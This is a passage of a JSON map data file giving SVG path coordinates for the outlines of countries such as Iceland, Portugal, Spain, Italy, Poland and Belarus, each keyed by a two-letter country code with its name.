4.25,5.41 6.32,6.4 -0.65,1.36 -3.26,-1.74 -3.14,1.07 -0.24,-1.71 -1.8,-0.78 -1.41,0.45 -1.2,-0.78 -1.84,-2.07 -1.82,0.08 -0.39,2.77 -2.92,-1.74 -2.76,-0.46 0.55,1.51 -0.55,2.28 -0.85,0.45 -2.38,-1.66 -2.14,3.66 -3.7,0.79 -1.88,-0.98 -0.85,3.28 -2.38,0.99 -2,-0.69 -1.48,2.95 -3.73,1.98 -1.43,0.57 -1.73,-1.87 -2.48,0.33 -1.28,0.15 -2.02,-1.77 -3.67,-0.49 -1.51,-0.59 -3.89,-0.69 -5.18,-1.79 -1.83,0.4 -3.94,-2.71 -4.99,0.05 -1.52,0.2 0.6,-5.44 -2.51,-2.84 -0.5,1.46 -2.44,2.79 -1.46,0.41 -0.04,-2.08 -3.47,-2.35 -1.81,-0.01 -0.33,2.95 -2.47,-1.46 -3.31,-2.22 2.66,-0.66 -1.9,-3.4 0.58,-4.85 0.98,-1.25 -0.43,-3.9 -1.29,-1.57 -2.2,1.2 0.59,4.8 -2.3,3.1 0.07,1.58 0.73,2.33 -0.49,2.37 -0.31,3.19 -2.4,-0.77 -3.7,1.08 -1.26,-0.57 -3.86,-0.58 -3.24,0.73 -1.86,1.54 -5.17,-0.4 -5.06,3.18 -2.02,-0.95 -3.43,1.13 -4.24,1.49 -0.67,-0.74 -1.24,2.48 -2,1.23 2.12,-2.45 -2.15,-1.8 -1.8,0.58 -2.16,1.39 -3.92,0.18 -2.08,-1.7 -1.67,0.05 -3.09,2.47 -2.5,-0.4 -0.88,-2.96 -1.92,-0.22 -2,1.13 -1.96,-0.26 -4.27,2.16 -3.76,-0.97 -0.78,-1.12 -2.93,1.49 -3.4,-0.02 1.83,-0.91 0.7,-3.4 -0.63,-1.07 -0.78,1.04 -1.78,1.59 -1.04,-0.05 -2.35,-3.54 3.85,-1.66 4.59,-3.73 -0.17,-1.96 -2.75,-5.32 -4.26,-2.64 1.79,0.66 -1.44,2.8 -2.07,2.43 -1.51,-3.02 -4.63,-0.57 -2.13,1.56 0.17,1.83 -2.38,1.81 -1.85,-0.14 -1.36,-2.38 -2.64,3.42 -2.69,-0.09 0.92,-1.47 0.05,-4.47 -1.39,-1.81 0.69,-2.4 -1.59,-1.67 -2.42,-0.69 -1.63,-2.6 -2.81,-0.08 -1.32,1.39 -0.12,2.09 -5.82,3.27 -3.43,0.33 -0.7,-1.39 -2.14,-1.09 -2.9,-2.54 -1.31,0.12 -1.87,1.12 -2.63,1.96 -0.18,2.43 -0.75,4.74 -2.05,6.98 -0.56,-1.99 -3.06,-1.81 -4.45,-3.2 -2.37,1.32 0.55,4.85 0.85,5.51 -2.93,-1.09 -0.49,5.23 -3.18,2.66C53.03,69.44 53.8,64.37 51.35,66.72c-0.01,1.25 1.67,5.14 1.03,4.67 -0.53,-2.51 -2.88,0.37 -2.61,-2.21 -1.56,-2.63 -4.32,1.46 -2.75,2.77 0.01,1.17 -1.56,2.39 -0.5,0.42 0.86,-3.51 -4.59,-2.97 -3.27,0.28 1.49,1.65 -0.07,2.95 -1.09,0.84 -1.55,-1.63 -4.28,0.31 -4.69,-2.84 -1.38,-1.87 -1.94,1.56 -0.77,2.26 -0.06,1.31 -0.47,2.49 -0.74,0.56 -1.54,-2.22 -1.58,2.78 -0.86,3.53 1.64,2.36 -5.86,1.67 -2.64,3.82 2.3,1.03 -2.22,1.12 -2.82,0.61 -1.74,0.43 1.87,2.58 -0.75,1.83C27.52,82.87 27.84,78.97 25.72,81.05c-0.33,1.79 3.97,2.08 0.81,3.67C24.18,85.6 27.77,81.48 24.7,81.96c-1.65,-0.58 -3.25,0.94 -2.07,2.52 -0.13,-1.56 -3.34,-2.97 -2.3,-0.65 0.92,1 3.65,4.19 0.68,3.11 -0.39,-1.36 -2.18,-3.54 -2.55,-1.53 -2.1,0.36 1.98,3.44 0.79,3.95 -0.52,-1.87 -2.86,-1.68 -1.64,0.35 -0.16,0.51 -2.67,-2.78 -2.9,-4.29 -1.64,-2.64 -1.84,0.81 -1.4,1.86 -0.78,1.52 2.24,0.79 1.57,2.42 -1.75,-0.73 -3.2,1.28 -0.75,1.28 -0.16,0.78 0.34,2.28 -0.65,2.59z M34.12,18.3c-1.05,0.6 -2.47,3.81 -0.57,3.47 1.95,-0.22 4.06,-4.82 0.57,-3.47z m-22.97,56.17c-2.31,-0.35 -0.79,-1.58 0,0z M2.14,66.59c-1.38,-1.11 -0.95,-1.35 0.46,-0.36 -0.18,-0.08 -0.27,0.6 -0.46,0.36z m168.23,-6.32c-0.28,-1.85 2.85,0.02 0.03,0l-0.03,0z M7.85,51.96c-0.57,-0.92 1.55,0.27 0,0z m1.18,-1.63C7.41,50.26 7.17,48.77 8.95,49.87 10,50.07 10.77,49.96 9.03,50.33z M184.09,37.53c-0.77,-1.48 -1.43,-4.23 -2.73,-6.24 -2.01,-2.67 1.21,-6.02 3.05,-2.64 0.95,1.04 0.93,3.38 1.44,4.42 -4.98,-0.16 0.39,3.51 -1.76,4.46z M23.01,25.35c-1.12,-0.81 -0.79,-3.25 0.17,-0.92 0.17,0.37 -0.49,0.58 -0.17,0.92z M209.99,8.88c0.65,-1.41 0.2,-3.29 -1.61,-3.21 -0.07,-1.5 -1.95,-5.46 0.62,-4.89 1.44,0 2.88,0 4.31,0 1.06,2.38 -1.6,4.58 -1.58,7.24 -0.32,0.7 -1.06,0.8 -1.74,0.86z M44.32,3.05c-1.74,-0.98 -6.31,0.12 -6.14,-2.09 1.47,1.81 3.05,0.95 2.25,-0.17 2.2,-0.52 2.82,0.46 3.89,2.27z","name":"Greenland"},"is":{"path":"m151.61,141.44c-2.42,-0.05 -4.73,-1.12 -5.95,-3.36 -0.71,-2.06 -4.34,-1.68 -3.81,-4.38 0.8,-0.95 3.4,-0.95 1.03,-1.6 -1.69,0.92 -0.37,-1.61 -2.18,-0.86 -0.88,-0.03 -1.32,-2.12 -2.96,-2.05 -1.43,-1.13 -6,-1.27 -4.53,-3.48 1.4,1.45 5.16,1.15 5.29,-1.63 0.95,-0.08 4.39,1.14 2.46,-0.91 -1.28,-0.31 -3.16,-1.27 -0.58,-1.35 2.41,0.51 2.39,-2.69 -0.02,-1.57 -1.25,0.39 -2.36,1.06 -1.66,-0.43 -0.34,-1.62 1.57,-4.11 -1.54,-3.94 -1.49,-1.7 -3.83,-2.36 -5.98,-2.91 1.9,-1.43 2.13,2 4.45,0.36 0.58,-0.11 0.84,1.82 1.93,0.36 1.45,0.02 2.12,1.75 4.12,1.85 1.57,1.88 4.72,-0.08 2.56,-1.73 -1.13,0.23 -4.71,-0.08 -2.41,-1.51 1.13,0.1 5.66,-0.35 3.94,-1.58 -2.53,-0.05 -1.4,-0.83 -0.29,-1.63 0.84,-2.83 -2.64,-1.96 -3.34,-1.81 -1.47,-0.72 -2,-0.85 -1.64,-2.44 2.52,0.42 0.64,-2.75 -0.27,-3.56 -0.04,-0.34 1.76,2 1.91,-0.11 -0.65,-3.43 1.88,0.34 1.11,2 -0.95,4.21 5.86,2.44 3.19,-0.73 -1.94,-1.31 0.11,-2.67 -1.13,-4.2 1.13,0.42 1.67,1.6 2.04,1.18 1.98,0.31 -0.01,2.5 1.33,3.37 0.86,1.89 -0.77,4.19 1.64,5.57 -1.28,0.64 -3.87,-0.52 -2.63,1.99 -0.4,1.18 -1.92,2.25 -0.42,2.93 -1.31,1.46 -1.09,4.59 1.22,2.7 0.49,-1.4 2.89,-6.12 2.22,-2.37 2.69,2.22 4.53,-3.04 4.48,-5.25 2.58,0.03 -0.68,6.63 3.51,5.53 -0.01,-0.74 0.05,-5.1 1.81,-2.72 1.08,-2.01 3.5,-0.36 1.83,1.62 2.1,1.36 -0.53,3.45 0.95,5.46 2.69,-0.06 0.02,-7.39 2.92,-6.07 -0.32,2.52 1.49,4.92 3.27,1.85 1.68,-2.37 1.62,3.33 3.69,1.28 1.71,-0.8 1.1,-6.38 3.47,-3.02 -0.81,1.5 1.32,1.54 -0.24,3.29 -0.5,2.17 2.82,1.16 2.36,3.29 2.02,0.52 2.1,1.62 0.19,2.57 -2.6,1.53 3.45,1.86 0.49,3.25 -0.74,0.55 -3.68,1.15 -1.27,1.34 1.72,-0.23 4.34,-1.28 4.35,1.54 -0.04,2.17 -4.93,1.21 -2.47,3.09 1.83,0.33 2.75,2.38 0.41,2.2 -1.18,-0.56 -1.74,-0.63 -0.71,0.56 -0.6,-0.3 -3.92,0.12 -2.06,0.55 2.71,0.87 -0.55,1.36 -1.7,1.52 -1.06,0.04 -2.49,1.02 -2.87,2.69 -1.35,-0.83 -1.72,1.98 -2.29,-0.35 -0.72,-2.57 -2.1,-0.68 -2.71,0.31 -2.09,-0.1 -4.17,0.18 -5.78,1.63 -1.89,0.57 -3.52,-3.04 -3.52,0.21 -2.4,-1.75 -5.62,-1.53 -6.88,1.4l-0.35,0.08 0,0z m24.31,-7.94c-1.58,1.64 1.17,1.65 0.84,-0.23 -0.28,0.08 -0.56,0.15 -0.84,0.23z M147.49,99.76c-2.33,0.02 -1.42,1.38 0.2,1.79 0.14,-0.38 0.69,-1.97 -0.2,-1.79z m33.62,15.99c1.19,-0.59 1.6,-0.17 0,0z m-44.05,-9.09c-1.62,-0.01 -0.68,-1.6 0.37,-0.74 1.34,-0.47 -0.84,-4.6 0.49,-2.48 -0.6,1.82 2.54,3.42 -0.86,3.22z m-1.42,-1.5c-1.66,0.2 -1.5,-3.06 -0.29,-0.86 -0.05,0.3 1.22,0.95 0.29,0.86z m4.48,-1.49c-0.86,-0.96 -0.83,-1.57 0,0z","name":"Iceland"},"pt":{"path":"m126.31,476.79c-3.11,-0.89 -5.74,-4.21 -9.28,-3.12 -1.78,0.38 1.76,-2.58 1.47,-3.95 0.39,-1.92 1.56,-3.11 1.18,-4.56 -0.46,-1.65 0.47,-3.6 1.4,-5.27 -0.61,-1.65 3.07,-0.14 2.33,-1.74 -1.59,-1.17 -2.48,-2.71 -4.71,-1.61 -1.89,-0.04 -2.12,-3.1 -2.67,-4.46 0.27,-2.21 3.57,-4.27 2.21,-6.5 2.42,0.37 3.47,-2.17 4.77,-3.81 0.98,-1.71 1.87,-3.43 3.16,-4.47 -0.79,-1.76 1.02,-5.31 3.28,-5.87 1.59,-1.26 -0.95,-2.63 0.8,-4.09 0.23,-2.53 -1.05,-5.19 -0.11,-7.75 2.54,0.06 0.15,-1.87 0.17,-2.24 1.59,-1.44 4.74,-3.3 6.49,-1.31 -3.35,1.53 -0.16,3.98 2.09,3.19 1.85,-0.17 3.87,2.53 6.45,0.97 1.56,-0.13 6.26,-0.07 4.22,3.05 0.22,1.77 4.81,2.08 1.88,3.98 -2.66,0.33 -4.02,2.88 -6.33,3.35 -0.97,1.66 1.09,4.53 -0.81,6.49 -1.07,1.01 0.55,2.39 -1.62,2.77 -2.6,1.54 1.62,6.06 -2.82,6.49 -1.74,-0.37 -5.6,-2.08 -3.57,1.31 1.07,1.89 -0.41,4.57 2.03,6.2 1.92,2.91 -3.81,2.81 -3.68,5.95 -1.09,1.6 0.5,5.45 2.67,5.41 -1.19,1.2 -4.31,1 -5,3.34 -3.07,2.07 -0.28,7.22 -4.25,7.62 -0.55,0.29 -1.11,0.63 -1.75,0.65z","name":"Portugal"},"ma":{"path":"m114.26,519.26c5.38,-1.06 11.75,-0.39 15.9,-4.63 5.26,-4.88 8.22,-11.54 11.83,-17.6 2.3,-1.64 3.11,0.89 3.7,2.43 3.25,0.06 3.27,5.03 6.51,6.18 2.01,2.4 5.02,1.6 7.69,1.35 1.26,1.84 3.78,-0.68 5.41,1.5 1.48,1.09 4.97,-1.46 5.09,1.72 1.76,1.07 3.75,0.97 5.94,1.12 1.21,2.49 5.27,4 3.5,6.77 1.55,1.82 -0.97,1 -2.11,1.18 -21.15,0 -42.31,0 -63.46,0z","name":"Morocco"},"es":{"path":"m170.08,507.95c-0.69,-0.45 0.64,-1.19 0,0z m-23.1,-9.15c-1.89,-0.27 -1.23,-3.36 0.81,-2.76 -1.01,0.61 -0.28,2.16 -0.81,2.76z m-1.53,-5.41c-1.92,-1.84 -4.81,-3.55 -4.78,-6.5 1.74,-1.65 -3.05,-2.72 0.06,-3.62 1.8,0.08 1.95,-2.62 0.29,-1.71 -1.68,1.92 -1.49,-3.2 -3.57,-3.37 -1.21,-2.54 -5.06,-1.7 -6.26,-3.7 0.08,-2.72 1.22,-5.37 3.58,-6.95 1.91,0.46 5.66,-3.3 1.98,-3.27 -1.9,-2.17 -1.67,-5.74 1.14,-6.99 3.7,-0.95 1.1,-4.57 -0.28,-6.35 0.58,-1.68 0.45,-3.01 -0.84,-4.53 2.46,2.34 7.45,0.07 6.4,-3.43 -2.26,-2.56 3.15,-2.71 1.97,-5.34 1.81,-1.67 0.28,-5.41 1.17,-6.21 1.77,-2.14 4.99,-2.46 6.88,-4.55 1.92,-2.79 -4.07,-2.45 -2.2,-4.91 0.43,-3.16 -4.07,-2.3 -5.69,-3.2 -1.8,2.37 -3.89,-1.02 -6.23,-0.51 -0.28,-1.34 -3.49,1.05 -2.42,-0.88 2.82,-1.19 -0.75,-4.5 -2.73,-2.96 -2.11,1.45 -3.86,-0.78 -1.34,-1.64 0.94,0.28 2.32,-1.98 0.72,-1.58 2.23,-1.63 -2.16,-0.92 -0.24,-2.66 2.41,-1.99 0.28,-4.66 -2.06,-3.75 -2.26,-1.66 -0.12,-3.23 1.07,-4.13 3.66,0.29 6.76,-2.08 9.92,-3.51 1.78,-2.19 1.34,2.22 3.29,-0.21 3.33,-0.27 2.62,6.64 6.6,4.09 2.47,1.16 5.51,0.94 8.02,1.44 1.9,-1.24 3.14,2.45 5.32,2.3 2.35,0.57 4.3,2.34 6.75,2.93 2.65,1.41 5.29,-0 7.84,-0 2.13,0.65 4.69,5.39 6.5,1.98 2.5,1.32 5.04,3.91 8.46,3.08 1.39,-0.01 3.8,0.79 4.14,1.8 -1.87,1.22 0.06,2.67 1.22,2.4 1.66,1.57 5.29,1.19 5.34,4 1.46,0.54 4.43,-0.57 4.33,1.92 1.41,-0.29 3.73,0.98 4.54,0.5 1.54,0.01 3.53,0.67 3.72,-1.35 1.63,1.02 3.94,2.12 5.05,3.3 -0.62,2.48 1.62,2.94 3.4,2.37 1.23,1.43 2.74,2.23 4.47,1.42 1.62,0.92 3.85,2.1 4.94,-0.04 1.38,-0.43 5.47,1.31 2.5,2.25 -0.52,2.49 0.35,5.62 -3.02,6.24 -3.95,0.65 -6.55,3.99 -10.24,4.85 -4,0.26 -8.86,0.24 -11.41,3.91 0.64,1.13 2.06,1.75 -0.08,1.82 -2.98,1.35 -3.8,5 -6.55,6.72 -2.04,2.09 -4.6,4.27 -5.09,7.29 -0.14,3.13 0.72,6.8 3.86,8.19 -0.28,2.13 -4.94,1.61 -6.14,3.93 -1.51,0.81 -1.84,2.35 -3.08,3.65 0.22,1.68 -4.27,3.01 -1.46,5.03 -0.94,1.1 -4.96,-1.49 -6.88,0.41 -2.79,1.13 -4.55,3.71 -5.69,6.37 -2.11,3.74 -4.63,-2.34 -7.31,0.69 -2.28,0.2 -4.7,-1.72 -7.4,-1.1 -2.51,-0.92 -5.12,-1.75 -7.89,-1.82 -2.99,0.03 -4.54,3.25 -7.74,1.83 -3.45,-0.48 -3.73,3.46 -6.83,4.06z M229.67,469.73c-3.03,-0.94 2.34,-1.17 0,0z m-3.28,-1.86c-1.31,-1.98 3.63,-2.8 0.96,-0.55 -0.28,0.23 -0.58,0.51 -0.96,0.55z m8.15,-0.95c-0.99,-1.19 -3.24,-1.21 -2.69,-3.07 -1.57,-0.61 -4.43,-0.57 -1.44,-1.83 1.82,-0.69 5.61,-3.6 5.15,-0.13 1.01,1.13 4.03,0.64 1.76,2.77 -0.83,0.87 -1.8,1.58 -2.78,2.26z m11.67,-5.53c-0.43,-1.32 -5.6,-1.9 -2.47,-2.15 1.42,0.04 2.4,0.66 2.47,2.15z","name":"Spain"},"tn":{"path":"m284.9,519.26c-2.21,-1.12 0.73,-3.64 -0.95,-5.51 -1.46,-3.16 2.15,-6.93 -0.12,-9.45 -0.67,-0.73 2.93,-1.29 1.98,-2.95 2.23,-0.03 1.46,-2.58 3.74,-2.85 2.52,-1.83 5.41,-3.02 8.35,-3.78 1.3,0.18 -1.34,3.29 1.51,2.64 0.71,-1.15 1.1,-2.15 2.08,-1.26 -0.76,0.27 1.03,1.6 0.03,2.09 1.72,0.55 2.13,5.46 4.03,3.7 1.46,-0.73 4.4,-5.15 5.37,-2.71 -0.9,2.37 -2.28,5.07 -4.51,6.35 -3.22,1.82 -2.27,6.37 0.87,7.67 1.26,0.82 1.66,2.08 3.04,2.36 -0.15,1.99 1.01,4.41 -1.79,3.68 -7.88,0 -15.77,-0.01 -23.63,0.01z","name":"Tunisia"},"dz":{"path":"m181.84,519.26c-2.16,-1 0.09,-2.29 0.05,-3.03 -0.8,-1.48 -5.28,-4.37 -1.47,-3.7 2.83,-0.51 5.98,-1.33 7.84,-3.67 1.17,-2.46 3.66,-2.95 5.89,-2.07 1.44,-0.79 2.77,-2.77 3.38,-0.29 3.67,1.9 4.38,-3.05 7.15,-3.91 3.27,-1.17 6.41,-3.1 10.01,-2.8 3.04,0.05 6.13,0.57 9.13,-0.19 2.74,1.56 5.53,-0.24 7.63,-1.26 2.46,0.75 5.2,0.79 7.75,-0.34 2.83,-0.67 5.62,0.67 8.61,0.23 3.35,0.17 5.17,6.05 8.94,3.1 1.43,-2.77 7.09,0.3 7.33,-3.88 2.03,-1.62 1.87,1.59 2.96,1.23 1.79,0.05 6.14,2.99 6.01,-0.61 2.5,-2 5.17,3.33 8.12,2.16 1.57,-1.13 4.46,-0.6 5.35,-0.15 -1.62,-0.02 -2.54,1.2 -1.93,2.18 -1.87,0.63 -3.58,2.5 -1.04,3.3 0.38,2.87 -2.09,5.94 -0.27,8.63 -0.06,1.4 0.31,4.98 -0.86,5.05 -33.52,0 -67.05,0 -100.57,0z","name":"Algeria"},"be":{"path":"m265.32,343.64c-0.99,-1.16 -1.81,-2.49 -3.73,-3.37 -2.08,-0.35 -0.28,-1.85 -1.25,-2.79 1.47,-1.88 -0.53,-2.73 -1.47,-0.87 -1.28,2.32 -4.46,0.99 -3.2,-0.74 -0.78,-0.74 1.11,-3.63 -1.62,-3.19 -2.17,0.83 -2.23,-1.41 -2.67,-2.1 -3.94,1.05 -1.51,-5.53 -5.39,-3.71 -2.36,1.07 -3.02,-4.27 -0.45,-4.53 1.73,-0.62 4.14,-3.17 4.52,-0.63 2.42,-0.22 3.66,2.56 5.83,0.13 1.3,-0.02 1.88,1.91 1.96,-0.36 0.89,-2.95 2.67,0.31 4.45,-0.43 0.58,-0.7 1.45,3.34 3.54,2.07 2.55,0.01 1.99,1.94 1.4,3.06 -1.22,1.97 -0.15,4.06 2.13,3.5 1.5,1.19 1.36,3.16 2.63,4.39 -1.48,2.22 -4.2,1.28 -5.1,4.2 -1.39,2.28 2.74,5.98 -1.59,5.37z","name":"Belgium"},"it":{"path":"m350.4,500.36c-1.75,-1.38 -4.77,0.56 -6.21,-2.11 -0.98,-3.12 -4.25,-2.35 -6.74,-3.12 -2.11,-1.47 -4.61,-1.93 -6.58,-3.76 -2.2,-1.23 -6.25,0.31 -6.1,-3.66 0.15,-1.98 2.31,-4.17 3.5,-1.8 2.52,0.49 3.53,-4.85 5.24,-0.9 2.01,0.26 4.02,2.27 5.97,0.45 2.63,-0.1 5.81,0.01 7.46,-2.47 1.45,0.01 4.12,1.89 4.36,-0.76 1.1,1.6 3.69,-2.6 2.02,0.26 -1.4,3.25 -4.08,7.31 -3.12,10.66 1.21,0.69 0.93,2.35 2.17,3.37 -1.93,0.14 -1.88,2.41 -1.97,3.84z m7.22,-15.37c-2.78,-0.14 -2.87,-3.99 -0.28,-4.55 1.37,-2.08 -1.36,-4.79 2.17,-5.13 3.25,-2.22 -1.35,-4.63 -1.21,-7.46 -1.16,-2.63 -2.56,-4.66 -3.09,-7.45 -1.59,-2.98 -4.91,-0.29 -6.78,-2.73 -1.65,-0.84 -0.12,-5.17 -3.33,-5.63 -1.56,-0.37 -4.03,2.8 -2.57,0.22 0.06,-2.91 -3.33,-1.3 -4.25,-2.37 -0.69,-2.23 -3.26,-6.17 -5.36,-4.2 -1.73,-2.18 -4.5,1.85 -5.25,-1.44 -2.69,-0.65 -4.1,-2.62 -6.18,-4.28 -0.73,-3.32 -5.19,-3.11 -5.74,-6.57 -1.05,-1.9 -5.27,-0.02 -4.05,-2.26 -1.1,-2.38 -3.86,-3.39 -4.73,-5.46 -3.13,0.51 0.07,-2.73 -1.71,-4.47 -2.14,-2.56 -1.2,-6.42 -3.6,-8.63 -2.19,-1.12 -4.5,-0.88 -6.03,-3.28 -2.22,-0.9 -4.82,-2.51 -7.33,-1.86 -1.74,1.89 -3.46,3.3 -4.61,5.48 -1.55,2.14 -5.91,2.59 -3.27,-0.76 1.07,-4.25 -4.16,-0.46 -5.52,-3.08 -2.08,-1.9 -1.08,-4.02 0.62,-5.53 0.76,-2.12 -4.77,-3.84 -2.88,-4.68 2.55,0.23 5.53,-3.6 2.83,-5.28 -0.93,-1.94 -2.92,-4.5 0.7,-3.9 2.4,0.04 4.29,-1.2 6.65,-0.24 1.85,-1.05 2.45,-2.98 2.51,-4.87 1.03,-0.35 2.29,-2.18 1.57,0.13 -0.67,2.56 4.99,2.17 2.47,4.45 0.19,0.08 2.08,0.32 2.23,1.7 1.41,1.01 2.54,-1.65 0.98,-2.25 0.53,-2.02 3.41,-3.57 2.37,-5.9 0.68,2.09 2.82,3.69 4.41,1.42 0.81,0.91 2.52,3.75 3.07,0.97 -0.97,-1.55 1.29,-1.81 -0.84,-2.7 -0.29,-2.99 3.05,2.3 3.43,-1.02 -1.77,-2.29 0.88,-4.07 2.84,-1.92 2.41,1.34 1.9,-4.15 4.64,-2.65 2.33,0.51 5.21,-2.28 6.13,0.74 1.38,2.34 4.22,3.29 6.93,3.47 1.41,0.44 5.26,-0.07 4.99,0.93 -2.13,0.92 -2.35,3.92 0.43,3.72 -1.26,1.22 -1.47,2.53 -0.57,3.56 0.79,3.16 -4.05,-1.16 -3.93,2.42 -2.22,1.73 -5.54,2.13 -7.33,4.03 -0.52,1.97 1.06,2.99 1.39,4.46 3.61,0.71 -1.06,2.87 -0.87,4.28 0.35,2.85 0.62,6.32 3.48,7.85 2.75,2.1 5.47,4.43 8.75,5.58 2.03,1.86 2.11,4.88 3.12,7.29 0.93,3.7 3.47,6.75 6.72,8.67 2.2,2.52 5.18,4.19 8.71,3.54 1.79,0.5 5.88,-2.59 5.92,0.29 -0.8,1.53 -3.65,2.89 -1.29,4.86 4.13,2.94 10.13,1.81 13.75,5.65 1.89,1.55 5.85,0.5 6.34,3.52 1.71,1.18 6.04,2.73 4.13,5.37 0.4,1.63 -0.95,3.55 -2.34,1.36 -0.96,-2.97 -3.23,-5.68 -6.54,-4.48 -2.32,-1.32 -6.05,-2.69 -6.78,1.09 -1.28,2.2 -1.32,4.97 -2.42,7.17 0.64,2.84 4.59,1.65 5.83,3.73 1.59,0.26 0.35,2.98 1.81,3.8 -0.21,3.1 -5.83,1.6 -5.88,5 0.28,1.92 0.81,4.68 -1.72,5.06 -1.23,1.65 -1.39,4.64 -3.63,5.25z m-35.56,-71.98c1.98,1.43 0.5,-2.39 0,0z m-33.54,62.41c-0.72,-1.6 -3.1,-3.35 -3.37,-5.68 1.54,-2 1.07,-4.81 2.16,-7.03 -3.26,0.28 0.82,-2.8 -0.89,-4.55 -0.02,-1.96 -1.35,-4.24 -2.94,-4.22 0.19,-1.55 0.4,-3.39 2.06,-1.78 3.1,0.15 5.25,-2.55 7.52,-4.29 0.91,-0.84 5.63,1.48 2.53,2.55 -0.36,1.47 2.3,1.33 1.41,2.66 3.07,1.36 0.3,4.08 -0.53,6.16 1.23,2.67 0.22,5.65 0.3,8.76 -0.33,1.29 -0.37,5.73 -2.35,3.37 -1.49,-1.18 -4.61,-1.6 -3.46,1.11 -0.38,1.17 -0.94,2.88 -2.43,2.94z","name":"Italy"},"by":{"path":"m402.72,308.87c0.99,-3.18 0.27,-7 -3.79,-7.04 -0.71,-2.3 3.14,-4.07 4.34,-6.18 -0.26,-5.15 -3.83,-9.19 -5.74,-13.77 2.18,-0.83 4.01,-0.87 5.95,-0.9 0.86,-1.84 2.51,-1.83 3.98,-0.84 -1.05,-1.12 -2.37,-3.07 0.28,-3.17 1.9,0.02 -0.71,-2.58 2.17,-2.24 -1.28,2.76 4.76,1.14 2.24,-1.38 -2.85,-0.47 0.33,-3.89 -1.4,-5.76 0.96,-1.56 2.7,-3.08 2.72,-4.65 2.53,0.76 4.43,-4.49 0.94,-3.47 -1.1,-1.17 0.25,-4.78 1.91,-6.11 2.45,0.48 4.37,-0.43 4.51,-3.22 0.17,-2.25 2.08,-1.78 3.18,-1.85 2.02,-2.32 2.15,2.85 3.69,0.14 1.75,-1.51 3.73,-0.83 3.53,1.45 2.17,2.99 3.24,-2.73 5.87,-2.54 1.93,0.2 3.24,2.17 5.04,1.95 0.25,2.02 -0.47,3.85 1.8,5.15 0.82,1.65 -1.87,4.51 1.47,4.95 2.1,-0.08 0.99,1.32 1.56,1.96 1.72,2.18 3.98,3.94 6.71,3.73 0,1.84 0.71,4.69 2.92,2.85 2.09,-1.22 3.09,0.78 3.28,1.76 2.02,-0.38 3.13,1.46 1.26,2.31 -0.06,3.07 -3.04,4.09 -5.35,2.65 -3.54,0.27 -2.85,5.57 0.51,5.52 0.97,2.55 1.33,5.72 3.91,7.42 -2.66,1.35 -6.88,2 -6.85,5.76 -1.23,2.53 1.43,5.57 1.33,7.2 -1.16,-1.33 -5.51,-3.73 -5.13,-0.77 -2.24,-2.52 -3.75,4.16 -4.59,0.03 -1.77,-2.65 -4.04,1.4 -4.28,1.56 -1.22,-2.58 -2.82,1.6 -3.58,-0.67 -1.01,0.66 -2.93,1.68 -4.34,1.01 -1.39,0.16 -1.96,2.41 -2.67,0.56 -2.3,-2.34 -5.69,0.72 -8.43,-0.73 -2.87,-0.21 -5.7,0.69 -8.51,0.87 -1.69,1.51 -4.3,1.17 -5.72,2.79 -0.82,1.63 -1.2,4.18 -3.37,2.88 -0.54,-0.03 -1.11,0.27 -1.34,0.78z","name":"Belarus"},"pl":{"path":"m378.8,342.69c0.85,-2.71 -2.77,-1.44 -3.2,-3.81 -2.16,-0.74 -2.68,4.74 -4.1,1.6 -1.34,-0.42 -0.38,-2.05 -2.3,-2.3 -1.38,-1.23 -0.72,-3.2 -2.99,-2.63 -1.39,-1.14 -3.17,-0.83 -4.08,-0.27 -2.65,-1 1.12,-2.8 -1.66,-3.95 -1.04,2.08 -3.71,0.51 -5.13,-0.34 -2.56,-1.21 -1.29,2 -1.13,2.64 -1.27,1.67 -2.44,1.3 -2.92,-0.65 -1.25,-0.75 -2.67,-1.29 -0.72,-2.16 1.16,-2.1 -2.17,-2.93 -3.11,-1.63 -1.5,-2.25 -5.49,-1.16 -6.45,-4 -1.21,-1.39 -2.59,1.06 -1.9,-1.41 0.23,-2.18 -0.48,-4.58 -2.34,-5.49 -1.37,-2.65 0.61,-5.37 -0.78,-8.1 -2.17,-1.37 0.53,-5.96 -3.41,-5.97 -3.09,-2.11 2.9,-5.25 0.3,-8.13 -0.64,-1.64 -2.11,-4.93 -1.01,-5.69 2.39,-0.86 4.49,-2.6 7.02,-3.34 1.88,-0.91 4.34,-1.13 5.97,-2.18 0.73,-2.97 3.72,-4.13 6.19,-5.25 2.44,-1.51 5.22,-3.64 8.26,-2.74 0.34,2.92 2.37,6.29 5.83,5.11 2.32,-0.46 3.66,-2.87 6.19,-1.88 5.94,0.22 12.06,0.04 17.77,-1.75 2.19,-1.89 4.37,-0.56 6.59,0.69 0.91,5.68 5.67,10 6.52,15.73 -0.74,2.77 -4.55,3.76 -4.71,6.89 0.95,2.08 5.51,0.97 4.43,4.48 -0.75,3.1 1.11,5.48 1.99,8.14 0.77,2 4.89,2.48 3.07,4.57 1.18,1.35 3.03,3.77 0.15,4.64 -2.63,0.49 -3.02,4.28 -4.54,6.17 -0.82,2.29 -3.04,4.17 -2.56,6.78 1.11,1.72 -0.12,4.53 2.39,4.91 -2.96,0.2 -5.66,-0.81 -7.88,-2.64 -2.12,-1.23 -4.34,-0.31 -6.37,0.12 -1.06,0.6 -0.02,2.66 -2.03,1.15 -2.7,-1.27 -4.67,0.77 -6.02,2.87 -0.44,-0.92 -1.49,0.48 -1.34,-0.18z","name":"Poland"},"jo":{"path":"m566.3,519.26c-0.01,-4.69 -2.26,-8.97 -3.12,-13.51 1.51,-3.32 4.45,-0.15 6.76,0.1 3.02,0.33 6.94,0.22 8.51,-2.87 4.44,-5.57 8.37,-11.53 12.83,-17.08 1.86,2.51 3.76,5 5.38,7.68 -2.06,2.03 2.19,4.71 3.12,1.72 0.91,2.72 -2.48,4.53 -4.03,6.38 -4,3.47 -8.47,6.39 -12.72,9.51 -2.44,0.61 -3.15,3.3 -0.46,3.9 2.58,1.36 5.17,2.72 7.71,4.17 -7.99,0 -15.99,-0 -23.98,0z","name":"Jordan"},"gr":{"path":"m449.88,508.26c-1.41,-0.44 -0.91,-2.43 -2.98,-2.05 -2.92,-1.02 -4.66,0.87 -7.49,-0.12 -2.89,2.86 -3.34,-3.03 -1.84,-3.28 2.13,1.48 4.85,0.78 6.99,2.27 2.66,-1.89 5.67,-2.41 8.68,-1.61 1.64,-0.07 3.7,-0.37 4.57,-0.83 -1.03,2.5 2.95,2.63 3.64,0.39 1.59,-1.01 2.86,-0.15 1.23,1.36 -4.14,0.67 -8.27,1.86 -12.04,3.72l-0.39,0.1 -0.37,0.03 0,0z m-26.29,-13.55c-0.61,-2.64 -1.46,-5.84 -4.37,-6.76 